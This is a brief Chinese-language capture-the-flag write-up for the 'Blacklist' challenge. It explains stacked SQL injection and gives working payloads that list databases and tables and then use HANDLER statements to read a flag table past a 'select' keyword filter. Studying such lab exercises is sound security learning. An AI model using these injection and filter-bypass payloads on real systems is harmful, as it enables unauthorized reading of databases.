[GYCTF2020]Blacklist 1
一开始进行常规sql注入的时候可以发现存在注入点
进行联合注入,发现屏蔽了关键字
做到这里没有思路去看wp发现使用的是堆叠注入
堆叠注入定义:一堆 sql 语句(多条)一起执行
堆叠注入原理:在SQL中,分号(;)是用来表示一条sql语句的结束,我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?
与联合注入的区别:
联合注入是用关键词 union 将语句进行合并,两个语句必须拥有相同的项,而且功能有限。主要用来查询
堆叠注入则用“;”将不同语句隔开,可以有不同的功能。
通过堆叠注入构造payload查看库名:http://b87d8e8a-6b1d-48e3-9aa9-e8c44adb77ab.node3.buuoj.cn/?inject=1’;show databases;#
构造payload查表名:http://b87d8e8a-6b1d-48e3-9aa9-e8c44adb77ab.node3.buuoj.cn/?inject=1’; show tables; #
但因关键字select被限制,
后面还用到了handler 命令来查询
可构造如下的Payload:
1’;HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;#
拿到flag
关于handler命令详解
https://blog.csdn.net/jesseyoung/article/details/40785137